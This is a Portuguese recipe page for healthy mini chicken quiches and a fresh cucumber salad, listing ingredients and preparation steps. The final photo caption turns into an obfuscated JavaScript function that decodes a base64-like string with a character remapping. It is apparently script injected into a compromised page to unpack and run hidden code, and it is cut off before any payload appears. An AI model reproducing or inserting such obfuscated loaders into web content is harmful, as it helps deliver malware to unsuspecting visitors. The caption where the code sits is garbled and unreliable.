Mini quiches de frango saudáveis e salada fresca de pepino
Mini quiches de frango saudáveis e salada fresca de pepino
Hoje trago-lhe duas receitas fantásticas para estes dias quentes. E são tão práticas que até as pode levar na marmita para a praia: mini quiches de frango saudáveis e salada fresca de pepino. Estas mini quiches são deliciosas e super saudáveis uma vez que não contém massa folhada nem natas. A salada é fresca e muito hidratante já que o pepino é um excelente alimento rico em água e com pouquíssimas calorias, É pois o acompanhamento ideal para quem quer controlar o peso.
Os dias quentes já chegaram e, com ele, a vontade de ir à praia molhar os pés no mar e para isso, nada melhor que estas duas receitas simples e práticas para transportar consigo.
Conheça agora as mini quiches e a salada que vão fazer as delícias da sua família.
Mini quiches de frango (aproximadamente 5 quiches)
Mini quiches de frango saudáveis e salada fresca de pepino- Mini quiches | Foto: s-media-cache
Ingredientes:
3 Chávenas de chá de frango desfiado
1 Chávena de chá de cogumelos laminados
1 Pimenta vermelho ou amarelo
3 a 4 ovos
Sal q.b
Pimenta q.b
Óregãos
Queijo mozzarella ralado q.b
Modo de preparação:
Comece por bater os ovos com o sal, a pimenta e os orégãos. Se tiver sobras de frango assado/cozido lá em casa pode aproveitá-las para esta receita. Se não tiver, coza 1 a 2 peitos de frango e desfie. Passe os cogumelos na frigideira com cebola, alho e azeite e adicione-os aos ovos batidos assim como o frango e o pimento partido aos pedacinhos. Numa forma de silicone disponha o preparado em cada compartimento e espalhe o queijo por cima das quiches. Leve ao forno pré-aquecido a 180 graus entre 15 a 20 minutos.
Salada fresca de pepino para acompanhar
Ingredientes
1 tomate grande
1 pimento vermelho
1 pepino grande
Meia cebola
Orégãos q.b
Fio de azeite
Modo de preparação
Lave bem todos os legumes sem descascar e corte-os da maneira que mais gostar: aos quadradinhos, às rodelas… Junte tudo na sua marmita e tempere ao seu gosto com azeite, orégãos, sumo de limão ou vinagre.
Delicie-se com estas duas receitas saudáveis e saborosas!
Mini quiches de frango saudáveis e salada fresca de pepino - Salada de pepino | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
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